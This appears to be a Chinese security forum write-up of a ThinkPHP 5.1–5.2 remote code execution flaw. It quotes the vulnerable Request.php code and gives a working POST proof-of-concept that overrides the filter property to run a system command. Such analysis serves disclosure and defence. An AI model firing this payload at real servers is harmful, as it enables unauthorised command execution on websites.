|
Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行
序言
最近爆出了Thinkphp5.0.*全版本代碼執(zhí)行,其中5.1與5.2全版本在生產(chǎn)環(huán)境下下同樣也存在代碼執(zhí)行
漏洞分析:
文件位置:\thinkphp\library\think\Request.php
/**
* 當(dāng)前的請(qǐng)求類型
* @access public
* @param bool $origin 是否獲取原始請(qǐng)求類型
* @return string
*/
public function method($origin = false)
{
if ($origin) {
// 獲取原始請(qǐng)求類型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
其中:
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
$method變量是$this->method,其同等于POST的”_method”參數(shù)值
然后該處存在一個(gè)變量覆蓋
我們可以覆蓋 $filter 屬性值(POC如下)
c=exec&f=calc.exe&&_method=filter&
訪問如下圖所示:
t01.png (84.6 KB, 下載次數(shù): 53)
下載附件
保存到相冊(cè)
2019-5-20 14:35 上傳
會(huì)爆出一個(gè)警告級(jí)別的異常,導(dǎo)致程序終止
如何觸發(fā):
如果設(shè)置忽略異常提示,如下圖:
t02.png (6.69 KB, 下載次數(shù): 51)
下載附件
保存到相冊(cè)
2019-5-20 14:36 上傳
本身項(xiàng)目發(fā)布就需要屏蔽異常和錯(cuò)誤所以這個(gè)配置是一個(gè)正常的配置
Payload(POST請(qǐng)求):
彈出計(jì)算器
t03.png (99.17 KB, 下載次數(shù): 56)
下載附件
保存到相冊(cè)
2019-5-20 14:36 上傳
Docker鏡像:
docker push 0day5/thinkphp5-1-5-2-rec
|
|